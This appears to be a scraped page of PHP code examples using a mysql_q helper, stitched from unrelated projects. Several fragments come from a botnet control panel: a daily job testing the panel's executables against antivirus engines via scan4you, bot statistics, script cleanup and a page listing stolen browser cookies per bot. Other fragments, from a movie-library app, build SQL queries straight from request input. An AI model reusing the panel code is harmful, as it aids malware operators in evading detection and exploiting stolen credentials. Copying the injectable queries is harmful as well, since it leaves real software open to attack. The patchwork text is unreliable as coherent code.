Exemplo n.º 1
0
 /** Scan exe files under files/ using scan4you
  * @param int|null $id
  * 	File id for force scan
  * @param bool $html
  * 	Return HTML along with raw data
  * @cron if: return !empty($GLOBALS['config']['scan4you_id']) && !empty($GLOBALS['config']['scan4you_token']);
  * @cron period: 1d
  * @cron weight: 10
  */
 function cronjob_avirscan_files($id = null)
 {
     $jabber_notify = array();
     $scan4you = new Scan4you($GLOBALS['config']['scan4you_id'], $GLOBALS['config']['scan4you_token']);
     if (!is_null($id)) {
         mysql_q(mkquery('UPDATE `exe_updates` SET `scan_date`=0 WHERE `id`={i:id};', array('id' => $id)));
     }
     $job_result = array();
     $res = mysql_q(mkquery('SELECT `id`, `file`, `mtime` FROM `exe_updates` WHERE `scan_date` < {i:date};', array('date' => time() - 60 * 60 * 20)));
     while ($res && !is_bool($exe = mysql_fetch_assoc($res))) {
         $exe_path = 'files/' . $exe['file'];
         # scan
         $results = $scan4you->scan($exe_path);
         $job_result[$exe['file']] = array('threat' => count($results->scan_threat), 'okay' => count($results->scan_okay));
         if (!is_null($results->error)) {
             $job_result[$exe['file']]['error'] = $results->error;
         }
         # store
         mysql_q(mkquery("UPDATE `exe_updates` SET `scan_date`=UNIX_TIMESTAMP(), `scan_threat` = {i:threat}, `scan_count`={i:count}, `scan_details`={s:details} WHERE `id`={i:id}", array('threat' => count($results->scan_threat), 'count' => count($results->scan_threat) + count($results->scan_okay), 'details' => $results->render_html('class="avirscan-results-map"'), 'id' => $exe['id'])));
         # notify
         if (count($results->scan_threat) >= 6) {
             $jabber_notify[] = sprintf("%s: %d Antiviruses detect it!\n\n%s\n", $exe['file'], count($results->scan_threat), $results->render_text());
         }
     }
     # Jabber notify
     jabber_notify($GLOBALS['config']['scan4you_jid'], $jabber_notify);
     # Results
     return $job_result;
 }
Exemplo n.º 2
0
    /** Remove old scripts which are one-shot
     * @cron period: 1d
     */
    function cronjob_cleanse_old()
    {
        mysql_q(mkquery('DELETE `botnet_scripts`, `botnet_scripts_stat`
			 FROM `botnet_scripts` CROSS JOIN `botnet_scripts_stat` USING(`extern_id`)
			 WHERE `botnet_scripts`.`flag_enabled`=0 AND `botnet_scripts`.`send_limit`=1 AND `botnet_scripts`.`time_created`<{i:time_thr}
			 ', array('time_thr' => time() - 60 * 60 * 24 * 7)));
        return array('removed' => mysql_affected_rows());
    }
Exemplo n.º 3
0
 function search($table, $search_sql, $search_array, $a_href, $setting)
 {
     $output = '';
     $search_res = mysql_q($search_sql);
     if (mysql_num_rows($search_res) > 0) {
         while ($searched = mysql_fetch_assoc($search_res)) {
             // thumb
             if ($table == 'movies' or $table == 'tvshows') {
                 if (file_exists('cache/' . $table . '_' . $searched['id'] . '.jpg')) {
                     $searched['thumb'] = 'cache/' . $table . '_' . $searched['id'] . '.jpg';
                 } else {
                     $searched['thumb'] = 'templates/' . $setting['theme'] . '/img/d_poster.jpg';
                 }
             }
             if ($table == 'actor') {
                 if (file_exists('cache/actors/' . substr(md5($searched['actor']), 0, 10) . '.jpg')) {
                     $searched['thumb'] = 'cache/actors/' . substr(md5($searched['actor']), 0, 10) . '.jpg';
                 } else {
                     $searched['thumb'] = 'templates/' . $setting['theme'] . '/img/d_actor.jpg';
                 }
                 $searched['title'] = $searched['actor'];
             }
             // panels
             foreach ($search_array as $val) {
                 $sel_sql = 'SELECT ' . $val . '.' . $val . ' FROM ' . $val . ', ' . $table . '_' . $val . ' WHERE ' . $val . '.id = ' . $table . '_' . $val . '.' . $val . 'id AND ' . $table . '_' . $val . '.id = "' . $searched['id'] . '"';
                 $sel_res = mysql_q($sel_sql);
                 $out = array();
                 while ($s = mysql_fetch_row($sel_res)) {
                     $out[] = $s[0];
                 }
                 $searched[$val] = implode(' / ', $out);
             }
             $output .= '
                 <a href="' . $a_href . $searched['id'] . '">
                     <div class="live_search_box" title="' . $searched['title'] . '">
                         <img class="img_live_search" src="' . $searched['thumb'] . '">
                         <div class="live_search_title">' . $searched['title'] . '</div>' . (isset($searched['originaltitle']) ? '<div class="live_search_orig_title">' . $searched['originaltitle'] . '</div>' : '') . (isset($searched['year']) ? $searched['year'] . ' | ' : '') . (isset($searched['rating']) ? $searched['rating'] . ' | ' : '') . (isset($searched['runtime']) ? $searched['runtime'] . ' min. | ' : '') . (isset($searched['genre']) ? $searched['genre'] . ' | ' : '') . (isset($searched['country']) ? $searched['country'] . ' | ' : '') . (isset($searched['director']) ? $searched['director'] : '') . '
                     </div>
                 </a>';
         }
     }
     return $output;
 }
Exemplo n.º 4
0
     break;
     // get hash
 // get hash
 case 'showhash':
     $hash_sql = 'SELECT * FROM hash';
     $hash_res = mysql_q($hash_sql);
     $hash = mysql_fetch_assoc($hash_res);
     echo json_encode($hash);
     break;
     // update hash
 // update hash
 case 'updatehash':
     foreach ($_POST as $table => $hash) {
         $update_sql = 'UPDATE `hash` SET ' . $table . ' = "' . $hash . '"';
     }
     $update_res = mysql_q($update_sql);
     break;
     // clean dataabse
 // clean dataabse
 case 'cleandb':
     clean_db();
     break;
     /* #########
      * # VIDEO #
      */
     #########
 /* #########
  * # VIDEO #
  */
 #########
 case 'showvideo':
Exemplo n.º 5
0
                    }
                }
                header('Location: ' . QUERY_STRING_BLANK . 'reports_files&bots=' . urlencode(implode(' ', $blist)) . '&q=');
                die;
            } else {
                if (strcmp($ba, 'cookies') === 0) {
                    require_once 'system/lib/db.php';
                    require_once 'system/lib/guiutil.php';
                    echo '<link rel="stylesheet" href="theme/style.css" />';
                    $found_n = 0;
                    foreach (array_reverse(list_reports_tables(true)) as $yymmdd) {
                        $R = mysql_q(mkquery('SELECT
				`id`,
				`rtime`,
			 	`path_source`,
			 	`context`
			 FROM `botnet_reports_{=:yymmdd}`
			 WHERE `bot_id` IN({s,:botId}) AND `type`={i:type}
			 ORDER BY `rtime` DESC
			 ', array('yymmdd' => $yymmdd, 'botId' => $blist, 'type' => BLT_COOKIES)));
                        $n = mysql_num_rows($R);
                        if (!$n) {
                            continue;
                        }
                        $found_n += $n;
                        echo '<table class="lined"><caption>', '20', implode('.', str_split($yymmdd, 2)), '</caption>';
                        echo '<TBODY>';
                        while (!is_bool($r = mysql_fetch_assoc($R))) {
                            echo '<tr>', '<th>', timeago(time() - $r['path_source']), '</th>', '<td>', htmlspecialchars($r['path_source']), '</td>', '<td><pre>', htmlspecialchars($r['context']), '</td>', '</tr>';
                        }
                        echo '</BODY></table>';
Exemplo n.º 6
0
function getBotnetStats($botnet, $i)
{
    $query1 = '';
    $query2 = '';
    if ($botnet != '') {
        $botnet = addslashes($botnet);
        $query1 = " WHERE `botnet`='{$botnet}'";
        $query2 = " AND `botnet`='{$botnet}'";
    }
    //Количетсво ботов, и время первого отчета.
    $tmp = htmlEntitiesEx(($mt = @mysql_fetch_row(mysqlQueryEx('botnet_list', "SELECT MIN(`rtime_first`), COUNT(`bot_id`), MIN(`bot_version`), MAX(`bot_version`) FROM `botnet_list`{$query1}"))) && $mt[0] > 0 ? gmdate(LNG_FORMAT_DT, $mt[0]) : '-');
    $data = THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_FIRST_BOT), $i == 0 ? THEME_LIST_ITEM_LTEXT_U1 : THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, $tmp), $i == 0 ? THEME_LIST_ITEM_RTEXT_U1 : THEME_LIST_ITEM_RTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_BOTS), $i == 0 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, numberFormatAsInt($mt[1])), $i == 0 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END;
    $totalBots = $mt[1];
    $minVersion = $mt[2];
    $maxVersion = $mt[3];
    //Количетсво ботов активных за последнии 24 часа.
    $tmp = ($mt = @mysql_fetch_row(mysqlQueryEx('botnet_list', 'SELECT COUNT(`bot_id`) FROM `botnet_list` WHERE `rtime_last`>=' . (CURRENT_TIME - 86400) . $query2))) ? $mt[0] : 0;
    $totalBots = '<a href="#" id="tr-botnet_activity">' . ($totalBots > 0 ? numberFormatAsFloat($tmp * 100 / $totalBots, 2) : 0) . '% -  ' . numberFormatAsInt($tmp) . '</a>';
    $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_BOTS24), $i == 0 ? THEME_LIST_ITEM_LTEXT_U1 : THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, $totalBots), $i == 0 ? THEME_LIST_ITEM_RTEXT_U1 : THEME_LIST_ITEM_RTEXT_U2) . THEME_LIST_ROW_END;
    $data .= '<tr><td id="botnet_activity" style="display: none;">
			<h3>' . LNG_STATS_ACTIVITY . '</h3>
			<ul class="tabs">
				<li><a href="?' . mkuri(1, 'm') . '&ajax=botnet_activity&days=7">' . LNG_STATS_ACTIVITY_7DAYS . '</a></li>
				<li><a href="?' . mkuri(1, 'm') . '&ajax=botnet_activity&days=14">' . LNG_STATS_ACTIVITY_14DAYS . '</a></li>
				<li><a href="?' . mkuri(1, 'm') . '&ajax=botnet_activity&days=30">' . LNG_STATS_ACTIVITY_30DAYS . '</a></li>
				</ul>
			<div class="display">
				</div>
			</td></tr>
			';
    //Максимальная и минимальная версия бота.
    $botVersions = intToVersion($minVersion) . ' — ' . intToVersion($maxVersion);
    $botVersions = '<a href="#" id="botVersions">' . $botVersions . '</a>';
    $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_VERSIONS), $i == 0 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, $botVersions), $i == 0 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END;
    require_once "system/lib/db.php";
    require_once "system/lib/guiutil.php";
    $data .= jsonset(array('window.botVersions' => array()));
    foreach (array(0 => 0, 1 => time() - 60 * 60 * 24, 2 => time() - 60 * 60 * 24 * 7, 3 => time() - 60 * 60 * 24 * 31) as $id => $rtime_last) {
        $R = mysql_q(mkquery('SELECT
					`bot_version` AS `v`,
					COUNT(*) AS `n`
				 FROM `botnet_list`
				 WHERE `rtime_last` >= {i:rtime_last}
				 GROUP BY `v`
				 ORDER BY `n` DESC, `v` DESC
				 ', array('rtime_last' => $rtime_last)));
        $versions = array();
        while ($R && !is_bool($r = mysql_fetch_assoc($R))) {
            $versions[] = array(intToVersion($r['v']), (int) $r['n']);
        }
        $data .= jsonset(array('window.botVersions[' . $id . ']' => $versions));
    }
    $ul = '';
    $ul .= '<li><a href="#" data-id="0">' . LNG_STATS_TOTAL_VERSIONS_ALL . '</a>';
    $ul .= '<li><a href="#" data-id="1">' . LNG_STATS_TOTAL_VERSIONS_DAY . '</a>';
    $ul .= '<li><a href="#" data-id="2">' . LNG_STATS_TOTAL_VERSIONS_WEEK . '</a>';
    $ul .= '<li><a href="#" data-id="3">' . LNG_STATS_TOTAL_VERSIONS_MONTH . '</a>';
    $data .= <<<HTML
<tr><td id="botVersions-td" style="display:none;">
\t\t<div id="botVersions-Display" class="clearfix">
\t\t\t<div class="pie"></div>
\t\t\t<div class="table"></div>
\t\t\t</div>
\t\t<ul class="period">
\t\t\t{$ul}
\t\t\t</ul>
\t</td></tr>

<script type="text/javascript" src="https://www.google.com/jsapi"></script>
<script src="theme/js/page-stats_main.js"></script>
HTML;
    return $data;
}
Exemplo n.º 7
0
 /** Remove old, archived Jabber notifications
  * @cron period: 1d
  */
 function cronjob_jabber_cleanse()
 {
     mysql_q(mkquery('DELETE FROM `jabber_messages` WHERE `sent`=1 AND `sent_time` < {i:old};', array('old' => time() - 60 * 60 * 24 * 10)));
     return array('cleansed' => mysql_affected_rows());
 }
Exemplo n.º 8
0
                <tr><td>' . $lang['a_xbmc_login'] . '</td><td><input id="xbmc_login" type="input" name="xbmc_login" value="' . $setting['xbmc_login'] . '" ' . $d . '/></td></tr>
                <tr><td>' . $lang['a_xbmc_pass'] . '</td><td><input id="xbmc_pass" type="input" name="xbmc_pass" value="' . $setting['xbmc_pass'] . '" ' . $d . '/></td></tr>
            </table>
                <div id="xbmc_test" class="box"><div></div>' . $lang['a_xmbc_test'] . '</div>
                <input type="submit" value="' . $lang['a_save'] . '" ' . $d . '/>
        </form>
    ';
}
// Save connection
if ($option == 'xbmc_save') {
    $xbmc_update_sql = 'UPDATE config SET 
        xbmc_host = "' . $_POST['xbmc_host'] . '", 
        xbmc_port = "' . $_POST['xbmc_port'] . '",
        xbmc_login = "******", 
        xbmc_pass = "******"';
    mysql_q($xbmc_update_sql);
    $output_panel_info .= $lang['a_xbmc_saved'] . '<br />';
    $_SESSION = array();
    $_SESSION['logged_admin'] = true;
}
/* ##############
 * # PANEL INFO #
 */
##############
if ($output_panel_info !== '') {
    $output_panel_info = '<div class="panel_info">' . $output_panel_info . '</div>';
}
?>
<!DOCTYPE HTML>
<html>
    <head>
Exemplo n.º 9
0
 if (file_exists('cache/episodes_' . $episodes['id'] . '.jpg')) {
     $output_episode['thumbnail'] = '<img class="thumbnail" src="cache/episodes_' . $episodes['id'] . '.jpg">';
 } else {
     $output_episode['thumbnail'] = '<img class="thumbnail" src="templates/' . $setting['theme'] . '/img/d_thumbnail.jpg">';
 }
 // wached status
 if ($setting['watched_status'] == 1 && $episodes['play_count'] > 0) {
     $output_episode['watched_img'] = '<img class="episode_watched" src="templates/' . $setting['theme'] . '/img/watched.png" title="' . $lang['i_last_played'] . ': ' . $episodes['last_played'] . '" alt="">';
 }
 // episode ribbon new
 if (substr($episodes['date_added'], 0, 10) == $new_episode_date) {
     $output_episode['ribbon_new'] = '<div class="episode_ribbon_new_text">' . mb_strtoupper($lang['i_ribbon_new']) . '</div><img class="episode_ribbon_new" src="templates/' . $setting['theme'] . '/img/ribbon_new.png">';
 }
 // episode streams
 $stream_sql = 'SELECT * FROM `episodes_stream` WHERE id = "' . $episodes['id'] . '"';
 $stream_res = mysql_q($stream_sql);
 if (mysql_num_rows($stream_res) > 0) {
     $str = array('v' => array(), 'a' => array(), 's' => array());
     while ($stream = mysql_fetch_assoc($stream_res)) {
         $str[$stream['type']][] = $stream;
     }
 }
 $img_flag_vres = '';
 $img_flag_vtype = '';
 $img_flag_vq = '';
 if (isset($str['v'])) {
     foreach ($str['v'] as $s) {
         // episode video resolution
         foreach ($vres_assoc as $key => $val) {
             if (is_numeric($s['v_width']) && $s['v_width'] >= $key) {
                 $img_flag_vres = '<img class="flag" src="templates/' . $setting['theme'] . '/img/flags/vres_' . $val . '.png" alt="">';
Exemplo n.º 10
0
            header('Location:admin.php');
            die('Login script internal error');
        } else {
            if (isset($_POST['movielib_admin_pass'])) {
                $output = '<div class="panel_info">' . $lang['l_wrong_pass'] . '</div>';
            }
            $login_info = $lang['l_pass_admin'];
            $input_action = 'login.php?login=admin';
            $input_name = 'movielib_admin_pass';
        }
    }
}
// user
if ($_GET['login'] === 'user') {
    $user_check_sql = 'SELECT * FROM users WHERE login = "******"';
    $user_check_result = mysql_q($user_check_sql);
    while ($user_check = mysql_fetch_array($user_check_result)) {
        if (isset($_POST['movielib_pass']) && md5($_POST['movielib_pass']) == $user_check['password']) {
            $_SESSION['logged'] = true;
            header('Location:index.php');
        } else {
            if (isset($_POST['movielib_pass'])) {
                $output = '<div class="panel_info">' . $lang['l_wrong_pass'] . '</div>';
            }
            $login_info = $lang['l_pass'];
            $input_action = 'login.php?login=user';
            $input_name = 'movielib_pass';
        }
    }
}
?>
Exemplo n.º 11
0
                 <tr><td>' . $lang['inst_database'] . ':</td><td><input type="text" name="database" value="movielib"></td></tr>
             </table>
             <input id="ok" type="submit" value="OK" />
         </form>';
     break;
 case 'success':
     /* ##################
      * # CHECK DATABASE #
      */
     ##################
     $conn_install = mysql_connect($_POST['host'] . ':' . $_POST['port'], $_POST['login'], $_POST['pass']);
     if (!$conn_install) {
         die($lang['ins_could_connect'] . ' - ' . mysql_error());
     }
     $create_sql = 'CREATE DATABASE IF NOT EXISTS ' . $_POST['database'];
     mysql_q($create_sql);
     $sel_install = mysql_select_db($_POST['database']);
     if (!$sel_install) {
         die($lang['ins_could_connect'] . ' - ' . mysql_error());
     }
     create_table($mysql_tables, $mysql_indexes, $lang, $version, 1);
     // create db.php
     $to_write = '<?PHP $mysql_ml = array(\'' . $_POST['host'] . '\', \'' . $_POST['port'] . '\', \'' . $_POST['login'] . '\', \'' . $_POST['pass'] . '\', \'' . $_POST['database'] . '\'); ?>';
     $fp = @fopen('db.php', 'w');
     if (!$fp) {
         $title = $lang['ins_error'];
         if (file_exists('db.php')) {
             $output_panel_error .= $lang['ins_file_db_ex'] . ' ' . substr(decoct(fileperms('db.php')), -3) . '<br>';
         } else {
             $output_panel_error .= $lang['ins_file_db_not'] . ' ' . substr(decoct(fileperms('.')), -3) . '<br>';
         }
Exemplo n.º 12
-1
function create_banner($lang, $file, $data)
{
    $movie_sql = 'SELECT `id`, `title`, `originaltitle`, `rating`, `runtime`, `year`, `last_played` FROM `movies` ORDER BY `last_played` DESC LIMIT 0, 1';
    $movie_result = mysql_q($movie_sql);
    $movie = mysql_fetch_assoc($movie_result);
    $episode_sql = 'SELECT `episode`, `season`, `tvshow`, `title`, `last_played` FROM `episodes` ORDER BY `last_played` DESC LIMIT 0, 1';
    $episode_result = mysql_q($episode_sql);
    $episode = mysql_fetch_assoc($episode_result);
    $episode['e_title'] = $episode['title'];
    unset($episode['title']);
    if (isset($episode['last_played']) && $episode['last_played'] > $movie['last_played']) {
        $tvshow_sql = 'SELECT `id`, `title`, `originaltitle`, `rating`, `last_played` FROM `tvshows` WHERE `id` = ' . $episode['tvshow'];
        $tvshow_result = mysql_q($tvshow_sql);
        $tvshow = mysql_fetch_assoc($tvshow_result);
        $ban = array_merge($tvshow, $episode);
        $table = 'tvshows';
        $panels_array = array('genre');
    } else {
        $ban = $movie;
        $table = 'movies';
        $panels_array = array('genre', 'country');
    }
    if (isset($ban['id'])) {
        foreach ($panels_array as $val) {
            $sel_sql = 'SELECT ' . $val . '.' . $val . ' FROM ' . $val . ', ' . $table . '_' . $val . ' WHERE ' . $val . '.id = ' . $table . '_' . $val . '.' . $val . 'id AND ' . $table . '_' . $val . '.id = "' . $ban['id'] . '"';
            $sel_res = mysql_q($sel_sql);
            $out = array();
            while ($s = mysql_fetch_row($sel_res)) {
                $out[] = $s[0];
            }
            $ban[$val] = implode(' / ', $out);
        }
    }
    $b = array();
    $b['w'] = 400;
    // banner width
    $b['h'] = 70;
    // banner height
    $b['bg_c'] = '141414';
    // background color
    $b['lw_c'] = 'FFFFFF';
    // last watched color
    $b['lw_s'] = 10;
    // last watched font size
    $b['lw_x'] = 130;
    // last watched pos. x
    $b['lw_y'] = 20;
    // last watched pos. y
    $b['t_c'] = 'FFFFFF';
    // title color
    $b['t_s'] = 8;
    // title font size
    $b['t_x'] = 136;
    // title pos. x
    $b['t_y'] = 36;
    // title pos. y
    $b['o_c'] = 'AAAAAA';
    // title color
    $b['o_s'] = 8;
    // title font size
    $b['o_x'] = 136;
    // title pos. x
    $b['o_y'] = 51;
    // title pos. y
    $b['i_c'] = '808080';
    // info color
    $b['i_s'] = 6;
    // info font size
    $b['i_x'] = 130;
    // info pos. x
    $b['i_y'] = 63;
    // info pos. y
    $b['st_c'] = '000000';
    // stroke color
    $b['b_c'] = 'FFFFFF';
    // border color
    if ($data !== '0') {
        $banner_array = explode(';', $data);
        $banner = array();
        foreach ($banner_array as $val) {
            $i = explode(':', $val);
            $banner[$i[0]] = $i[1];
        }
        $b = $banner;
    }
    $bg_c = hex2rgb($b['bg_c']);
    $lw_c = hex2rgb($b['lw_c']);
    $t_c = hex2rgb($b['t_c']);
    $o_c = hex2rgb($b['o_c']);
    $i_c = hex2rgb($b['i_c']);
    $st_c = hex2rgb($b['st_c']);
    $b_c = hex2rgb($b['b_c']);
    $font = 'admin/css/font/archivonarrow.ttf';
    // background
    $banner = imagecreatetruecolor($b['w'], $b['h']);
    $bg_color = imagecolorallocate($banner, $bg_c['r'], $bg_c['g'], $bg_c['b']);
    imagefill($banner, 0, 0, $bg_color);
    // get poster and copy
    if (file_exists('cache/' . $table . '_' . $ban['id'] . '_f.jpg')) {
        $post = imagecreatefromjpeg('cache/' . $table . '_' . $ban['id'] . '_f.jpg');
    } elseif (file_exists('cache/' . $table . '_' . $ban['id'] . '.jpg')) {
        $post = imagecreatefromjpeg('cache/' . $table . '_' . $ban['id'] . '.jpg');
    } else {
        $post = imagecreatefromjpeg('templates/default/img/d_poster.jpg');
    }
    $width = imagesx($post);
    $height = imagesy($post);
    $new_height = $b['h'];
    $new_width = $width / ($height / $new_height);
    imagecopyresampled($banner, $post, 0, 0, 0, 0, $new_width, $new_height, $width, $height);
    // add gradient
    $width = $b['h'];
    $gradient = imagecreatetruecolor($width, $b['h']);
    $gradient_color = imagecolorallocatealpha($gradient, $bg_c['r'], $bg_c['g'], $bg_c['b'], 127);
    imagefill($gradient, 0, 0, $gradient_color);
    for ($x = 0; $x < $width; ++$x) {
        $alpha = 127 - $x * (127 / $width);
        $gradient_color = imagecolorallocatealpha($gradient, $bg_c['r'], $bg_c['g'], $bg_c['b'], $alpha);
        imageline($gradient, $x, 0, $x, $b['h'], $gradient_color);
    }
    imagecopyresampled($banner, $gradient, $new_width - $width, 0, 0, 0, $width, $b['h'], $width, $b['h']);
    // add text
    $last_watched_color = imagecolorallocate($banner, $lw_c['r'], $lw_c['g'], $lw_c['b']);
    $title_color = imagecolorallocate($banner, $t_c['r'], $t_c['g'], $t_c['b']);
    $o_title_color = imagecolorallocate($banner, $o_c['r'], $o_c['g'], $o_c['b']);
    $info_color = imagecolorallocate($banner, $i_c['r'], $i_c['g'], $i_c['b']);
    $stroke_color = imagecolorallocate($banner, $st_c['r'], $st_c['g'], $st_c['b']);
    imagettfstroketext($banner, $b['lw_s'], 0, $b['lw_x'], $b['lw_y'], $last_watched_color, $stroke_color, $font, $lang['i_last_played'], 1);
    imagettfstroketext($banner, $b['t_s'], 0, $b['t_x'], $b['t_y'], $title_color, $stroke_color, $font, (isset($ban['title']) ? $ban['title'] : '') . (isset($ban['season']) ? ' - ' . $ban['season'] . 'x' : '') . (isset($ban['episode']) ? $ban['episode'] . ' ' : '') . (isset($ban['e_title']) ? $ban['e_title'] : ''), 1);
    imagettfstroketext($banner, $b['o_s'], 0, $b['o_x'], $b['o_y'], $o_title_color, $stroke_color, $font, isset($ban['originaltitle']) ? $ban['originaltitle'] : '', 1);
    imagettfstroketext($banner, $b['i_s'], 0, $b['i_x'], $b['i_y'], $info_color, $stroke_color, $font, (isset($ban['year']) ? $ban['year'] : '') . ' | ' . (isset($ban['rating']) ? $ban['rating'] : '') . ' | ' . (isset($ban['runtime']) ? $ban['runtime'] . ' ' . $lang['i_minute'] : '') . ' | ' . (isset($ban['genre']) ? $ban['genre'] : '') . ' | ' . (isset($ban['country']) ? $ban['country'] : ''), 1);
    // icon
    $icon = imagecreatefrompng('admin/img/' . $table . '.png');
    imagecopy($banner, $icon, $b['w'] - 26, 6, 0, 0, 18, 18);
    // border
    $border_color = imagecolorallocate($banner, $b_c['r'], $b_c['g'], $b_c['b']);
    imageline($banner, 0, 0, $b['w'] - 1, 0, $border_color);
    imageline($banner, $b['w'] - 1, 0, $b['w'] - 1, $b['h'] - 1, $border_color);
    imageline($banner, 0, $b['h'] - 1, $b['w'] - 1, $b['h'] - 1, $border_color);
    imageline($banner, 0, 0, 0, $b['h'] - 1, $border_color);
    // save as file
    imagejpeg($banner, 'cache/' . $file, 100);
    return $b;
}